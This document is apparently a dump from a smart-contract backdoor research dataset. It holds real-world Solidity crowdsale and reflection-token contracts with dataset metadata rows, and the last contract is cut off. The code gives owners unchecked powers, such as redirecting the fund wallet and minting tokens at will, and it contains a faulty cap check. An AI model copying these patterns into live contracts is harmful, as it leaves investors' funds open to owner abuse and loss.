pendingEthWithdrawal = this.balance;
}
uint public pendingEthWithdrawal;
//
// pulls the funds that were set to send with calling of
// withdrawEth when minimum cap is reached
// @multisig pulls the contributions to self
//
function pullBalance() public {
require(msg.sender == multisigAddress);
require(pendingEthWithdrawal > 0);
multisigAddress.transfer(pendingEthWithdrawal);
pendingEthWithdrawal = 0;
}
//
// Owner can batch return contributors contributions(eth)
// @owner returns contributions
// @param _numberOfReturns number of returns to do in one transaction
//
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap); // Check if crowdsale has failed
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = contributorIndexes[nextContributorToClaim]; // Get next unclaimed participant
if (currentParticipantAddress == 0x0) {
return; // Check if all the participants were compensated
}
if (!hasClaimedEthWhenFail[currentParticipantAddress]) { // Check if participant has already claimed
contribution = contributorList[currentParticipantAddress].contributionAmount; // Get contribution of participant
hasClaimedEthWhenFail[currentParticipantAddress] = true; // Set that he has claimed
if (!currentParticipantAddress.send(contribution)) { // Refund eth
ErrorSendingETH(currentParticipantAddress, contribution); // If there is an issue raise event for manual recovery
}
}
nextContributorToClaim += 1; // Repeat
}
}
//
// If there were any issue with refund owner can withdraw eth at the end for manual recovery
// @owner withdraws remaining funds
//
function withdrawRemainingBalanceForManualRecovery() onlyOwner public {
require(this.balance != 0); // Check if there are any eth to claim
require(block.timestamp > crowdsaleEndedTime); // Check if crowdsale is over
require(contributorIndexes[nextContributorToClaim] == 0x0); // Check if all the users were refunded
multisigAddress.transfer(this.balance); // Withdraw to multisig for manual processing
}
//
// Owner can set multisig address for crowdsale
// @owner sets an address where funds will go
// @param _newAddress
//
function setMultisigAddress(address _newAddress) onlyOwner public {
multisigAddress = _newAddress;
}
//
// Setter for the whitelist contract
// @owner sets address of whitelist contract
// @param address
//
function setPriorityPassContract(address _newAddress) onlyOwner public {
priorityPassContract = PriorityPassInterface(_newAddress);
}
//
// Getter for the whitelist contract
// @returns white list contract address
//
function priorityPassContractAddress() constant public returns (address) {
return address(priorityPassContract);
}
//
// Before crowdsale starts owner can calibrate time of crowdsale stages
// @owner sends new times for the sale
// @param _presaleStartTime timestamp for sale limited start
// @param _presaleUnlimitedStartTime timestamp for sale unlimited
// @param _crowdsaleEndedTime timestamp for ending sale
//
function setCrowdsaleTimes(uint _presaleStartTime, uint _presaleUnlimitedStartTime, uint _crowdsaleEndedTime) onlyOwner public {
require(crowdsaleState == state.pendingStart); // Check if crowdsale has started
require(_presaleStartTime != 0); // Check if any value is 0
require(_presaleStartTime < _presaleUnlimitedStartTime); // Check if presaleUnlimitedStartTime is set properly
require(_presaleUnlimitedStartTime != 0); // Check if any value is 0
require(_presaleUnlimitedStartTime < _crowdsaleEndedTime); // Check if crowdsaleEndedTime is set properly
require(_crowdsaleEndedTime != 0); // Check if any value is 0
presaleStartTime = _presaleStartTime;
presaleUnlimitedStartTime = _presaleUnlimitedStartTime;
crowdsaleEndedTime = _crowdsaleEndedTime;
}
}
contract AversafeSeedCrowdsale is SeedCrowdsaleContract {
function AversafeSeedCrowdsale() {
presaleStartTime = 1512032400;
presaleUnlimitedStartTime = 1512063000;
crowdsaleEndedTime = 1512140400;
minCap = 451 ether;
maxP1Cap = 802 ether;
maxCap = 891 ether;
}
}
| 201,305 | 12,459 |
a8e521061c8b413163626e8d511af47a27837dea02243590255edaff83ab4b6c
| 25,881 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xf8c7180ebe451ea8cd357058d0ac16b63b486e77.sol
| 5,921 | 19,470 |
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CALLGToken is MintableToken {
string public name = "CAPITAL GAS";
string public symbol = "CALLG";
uint8 public decimals = 18;
}
contract CALLToken is MintableToken {
string public name = "CAPITAL";
string public symbol = "CALL";
uint8 public decimals = 18;
}
contract TeamVault is Ownable {
using SafeMath for uint256;
ERC20 public token_call;
ERC20 public token_callg;
event TeamWithdrawn(address indexed teamWallet, uint256 token_call, uint256 token_callg);
constructor (ERC20 _token_call, ERC20 _token_callg) public {
require(_token_call != address(0));
require(_token_callg != address(0));
token_call = _token_call;
token_callg = _token_callg;
}
function () public payable {
}
function withdrawTeam(address teamWallet) public onlyOwner {
require(teamWallet != address(0));
uint call_balance = token_call.balanceOf(this);
uint callg_balance = token_callg.balanceOf(this);
token_call.transfer(teamWallet, call_balance);
token_callg.transfer(teamWallet, callg_balance);
emit TeamWithdrawn(teamWallet, call_balance, callg_balance);
}
}
contract BountyVault is Ownable {
using SafeMath for uint256;
ERC20 public token_call;
ERC20 public token_callg;
event BountyWithdrawn(address indexed bountyWallet, uint256 token_call, uint256 token_callg);
constructor (ERC20 _token_call, ERC20 _token_callg) public {
require(_token_call != address(0));
require(_token_callg != address(0));
token_call = _token_call;
token_callg = _token_callg;
}
function () public payable {
}
function withdrawBounty(address bountyWallet) public onlyOwner {
require(bountyWallet != address(0));
uint call_balance = token_call.balanceOf(this);
uint callg_balance = token_callg.balanceOf(this);
token_call.transfer(bountyWallet, call_balance);
token_callg.transfer(bountyWallet, callg_balance);
emit BountyWithdrawn(bountyWallet, call_balance, callg_balance);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract FiatContract {
function USD(uint _id) public view returns (uint256);
}
contract CapitalTechCrowdsale is Ownable {
using SafeMath for uint256;
ERC20 public token_call;
ERC20 public token_callg;
FiatContract public fiat_contract;
RefundVault public vault;
TeamVault public teamVault;
BountyVault public bountyVault;
enum stages { PRIVATE_SALE, PRE_SALE, MAIN_SALE_1, MAIN_SALE_2, MAIN_SALE_3, MAIN_SALE_4, FINALIZED }
address public wallet;
uint256 public maxContributionPerAddress;
uint256 public stageStartTime;
uint256 public weiRaised;
uint256 public minInvestment;
stages public stage;
bool public is_finalized;
bool public powered_up;
bool public distributed_team;
bool public distributed_bounty;
mapping(address => uint256) public contributions;
mapping(address => uint256) public userHistory;
mapping(uint256 => uint256) public stages_duration;
uint256 public callSoftCap;
uint256 public callgSoftCap;
uint256 public callDistributed;
uint256 public callgDistributed;
uint256 public constant decimals = 18;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount_call, uint256 amount_callg);
event TokenTransfer(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount_call, uint256 amount_callg);
event StageChanged(stages stage, stages next_stage, uint256 stageStartTime);
event GoalReached(uint256 callSoftCap, uint256 callgSoftCap);
event Finalized(uint256 callDistributed, uint256 callgDistributed);
function () external payable {
buyTokens(msg.sender);
}
constructor(address _wallet, address _fiatcontract, ERC20 _token_call, ERC20 _token_callg) public {
require(_token_call != address(0));
require(_token_callg != address(0));
require(_wallet != address(0));
require(_fiatcontract != address(0));
token_call = _token_call;
token_callg = _token_callg;
wallet = _wallet;
fiat_contract = FiatContract(_fiatcontract);
vault = new RefundVault(_wallet);
bountyVault = new BountyVault(_token_call, _token_callg);
teamVault = new TeamVault(_token_call, _token_callg);
}
function powerUpContract() public onlyOwner {
require(!powered_up);
require(!is_finalized);
stageStartTime = 1498867200;
stage = stages.PRIVATE_SALE;
weiRaised = 0;
distributeTeam();
distributeBounty();
callDistributed = 7875000 * 10 ** decimals;
callgDistributed = 1575000000 * 10 ** decimals;
callSoftCap = 18049500 * 10 ** decimals;
callgSoftCap = 3609900000 * 10 ** decimals;
maxContributionPerAddress = 1500 ether;
minInvestment = 0.01 ether;
is_finalized = false;
powered_up = true;
stages_duration[uint256(stages.PRIVATE_SALE)] = 30 days;
stages_duration[uint256(stages.PRE_SALE)] = 30 days;
stages_duration[uint256(stages.MAIN_SALE_1)] = 7 days;
stages_duration[uint256(stages.MAIN_SALE_2)] = 7 days;
stages_duration[uint256(stages.MAIN_SALE_3)] = 7 days;
stages_duration[uint256(stages.MAIN_SALE_4)] = 7 days;
}
function distributeTeam() public onlyOwner {
require(!distributed_team);
uint256 _amount = 5250000 * 10 ** decimals;
distributed_team = true;
MintableToken(token_call).mint(teamVault, _amount);
MintableToken(token_callg).mint(teamVault, _amount.mul(200));
emit TokenTransfer(msg.sender, teamVault, _amount, _amount, _amount.mul(200));
}
function distributeBounty() public onlyOwner {
require(!distributed_bounty);
uint256 _amount = 2625000 * 10 ** decimals;
distributed_bounty = true;
MintableToken(token_call).mint(bountyVault, _amount);
MintableToken(token_callg).mint(bountyVault, _amount.mul(200));
emit TokenTransfer(msg.sender, bountyVault, _amount, _amount, _amount.mul(200));
}
function withdrawBounty(address _beneficiary) public onlyOwner {
require(distributed_bounty);
bountyVault.withdrawBounty(_beneficiary);
}
function withdrawTeam(address _beneficiary) public onlyOwner {
require(distributed_team);
teamVault.withdrawTeam(_beneficiary);
}
function getUserContribution(address _beneficiary) public view returns (uint256) {
return contributions[_beneficiary];
}
function getUserHistory(address _beneficiary) public view returns (uint256) {
return userHistory[_beneficiary];
}
function getReferrals(address[] _beneficiaries) public view returns (address[], uint256[]) {
address[] memory addrs = new address[](_beneficiaries.length);
uint256[] memory funds = new uint256[](_beneficiaries.length);
for (uint256 i = 0; i < _beneficiaries.length; i++) {
addrs[i] = _beneficiaries[i];
funds[i] = getUserHistory(_beneficiaries[i]);
}
return (addrs, funds);
}
function getAmountForCurrentStage(uint256 _amount) public view returns(uint256) {
uint256 tokenPrice = fiat_contract.USD(0);
if(stage == stages.PRIVATE_SALE) {
tokenPrice = tokenPrice.mul(35).div(10 ** 8);
} else if(stage == stages.PRE_SALE) {
tokenPrice = tokenPrice.mul(50).div(10 ** 8);
} else if(stage == stages.MAIN_SALE_1) {
tokenPrice = tokenPrice.mul(70).div(10 ** 8);
} else if(stage == stages.MAIN_SALE_2) {
tokenPrice = tokenPrice.mul(80).div(10 ** 8);
} else if(stage == stages.MAIN_SALE_3) {
tokenPrice = tokenPrice.mul(90).div(10 ** 8);
} else if(stage == stages.MAIN_SALE_4) {
tokenPrice = tokenPrice.mul(100).div(10 ** 8);
}
return _amount.div(tokenPrice).mul(10 ** 10);
}
function _getNextStage() internal view returns (stages) {
stages next_stage;
if (stage == stages.PRIVATE_SALE) {
next_stage = stages.PRE_SALE;
} else if (stage == stages.PRE_SALE) {
next_stage = stages.MAIN_SALE_1;
} else if (stage == stages.MAIN_SALE_1) {
next_stage = stages.MAIN_SALE_2;
} else if (stage == stages.MAIN_SALE_2) {
next_stage = stages.MAIN_SALE_3;
} else if (stage == stages.MAIN_SALE_3) {
next_stage = stages.MAIN_SALE_4;
} else {
next_stage = stages.FINALIZED;
}
return next_stage;
}
function getHardCap() public view returns (uint256, uint256) {
uint256 hardcap_call;
uint256 hardcap_callg;
if (stage == stages.PRIVATE_SALE) {
hardcap_call = 10842563;
hardcap_callg = 2168512500;
} else if (stage == stages.PRE_SALE) {
hardcap_call = 18049500;
hardcap_callg = 3609900000;
} else if (stage == stages.MAIN_SALE_1) {
hardcap_call = 30937200;
hardcap_callg = 6187440000;
} else if (stage == stages.MAIN_SALE_2) {
hardcap_call = 40602975;
hardcap_callg = 8120595000;
} else if (stage == stages.MAIN_SALE_3) {
hardcap_call = 47046825;
hardcap_callg = 9409365000;
} else {
hardcap_call = 52500000;
hardcap_callg = 10500000000;
}
return (hardcap_call.mul(10 ** decimals), hardcap_callg.mul(10 ** decimals));
}
function updateStage() public {
_updateStage(0, 0);
}
function _updateStage(uint256 weiAmount, uint256 callAmount) internal {
uint256 _duration = stages_duration[uint256(stage)];
uint256 call_tokens = 0;
if (weiAmount != 0) {
call_tokens = getAmountForCurrentStage(weiAmount);
} else {
call_tokens = callAmount;
}
uint256 callg_tokens = call_tokens.mul(200);
(uint256 _hardcapCall, uint256 _hardcapCallg) = getHardCap();
if(stageStartTime.add(_duration) <= block.timestamp || callDistributed.add(call_tokens) >= _hardcapCall || callgDistributed.add(callg_tokens) >= _hardcapCallg) {
stages next_stage = _getNextStage();
emit StageChanged(stage, next_stage, stageStartTime);
stage = next_stage;
if (next_stage != stages.FINALIZED) {
stageStartTime = block.timestamp;
} else {
finalization();
}
}
}
function buyTokens(address _beneficiary) public payable {
require(!is_finalized);
if (_beneficiary == address(0)) {
_beneficiary = msg.sender;
}
uint256 weiAmount = msg.value;
require(weiAmount > 0);
require(_beneficiary != address(0));
require(weiAmount >= minInvestment);
require(contributions[_beneficiary].add(weiAmount) <= maxContributionPerAddress);
_updateStage(weiAmount, 0);
uint256 call_tokens = getAmountForCurrentStage(weiAmount);
uint256 callg_tokens = call_tokens.mul(200);
weiRaised = weiRaised.add(weiAmount);
callDistributed = callDistributed.add(call_tokens);
callgDistributed = callgDistributed.add(callg_tokens);
MintableToken(token_call).mint(_beneficiary, call_tokens);
MintableToken(token_callg).mint(_beneficiary, callg_tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, call_tokens, callg_tokens);
contributions[_beneficiary] = contributions[_beneficiary].add(weiAmount);
userHistory[_beneficiary] = userHistory[_beneficiary].add(call_tokens);
vault.deposit.value(msg.value)(msg.sender);
}
function finalize() onlyOwner public {
stage = stages.FINALIZED;
finalization();
}
function extendPeriod(uint256 date) public onlyOwner {
stages_duration[uint256(stage)] = stages_duration[uint256(stage)].add(date);
}
function transferTokens(address _to, uint256 _amount) public onlyOwner {
require(!is_finalized);
require(_to != address(0));
require(_amount > 0);
_updateStage(0, _amount);
callDistributed = callDistributed.add(_amount);
callgDistributed = callgDistributed.add(_amount.mul(200));
if (stage == stages.FINALIZED) {
(uint256 _hardcapCall, uint256 _hardcapCallg) = getHardCap();
require(callDistributed.add(callDistributed) <= _hardcapCall);
require(callgDistributed.add(callgDistributed) <= _hardcapCallg);
}
MintableToken(token_call).mint(_to, _amount);
MintableToken(token_callg).mint(_to, _amount.mul(200));
userHistory[_to] = userHistory[_to].add(_amount);
emit TokenTransfer(msg.sender, _to, _amount, _amount, _amount.mul(200));
}
function claimRefund() public {
address _beneficiary = msg.sender;
require(is_finalized);
require(!goalReached());
userHistory[_beneficiary] = 0;
vault.refund(_beneficiary);
}
function goalReached() public view returns (bool) {
if (callDistributed >= callSoftCap && callgDistributed >= callgSoftCap) {
return true;
} else {
return false;
}
}
function finishMinting() public onlyOwner {
MintableToken(token_call).finishMinting();
MintableToken(token_callg).finishMinting();
}
function finalization() internal {
require(!is_finalized);
is_finalized = true;
finishMinting();
emit Finalized(callDistributed, callgDistributed);
if (goalReached()) {
emit GoalReached(callSoftCap, callgSoftCap);
vault.close();
} else {
vault.enableRefunds();
}
}
}
| 146,769 | 12,460 |
3c30c363ad6910247fe7e34d2e93b32785f7fe100e3a1c32636b2fbea51e9a39
| 29,049 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x62621dCD1EE3b72618C10f6157E975B3c27AaAAb/contract.sol
| 5,144 | 18,351 |
//
//
// Take A hit and burn share a hit. Each Fee Hit destroys portion of the Joint.
//
// 1 Token. No Mint. 10% Slippage
//
// Fees distribution : 40% Burn 60% Holders
//
//
//
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Joint is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'Joint';
string private constant _SYMBOL = 'Joint';
uint8 private constant _DECIMALS = 18;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 1 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 600;
uint256 private constant _BURN_FEE = 400;
uint256 private constant _MAX_TX_SIZE = 1 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x598b90147389e815a5B6313f260b966651E3BA3A, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
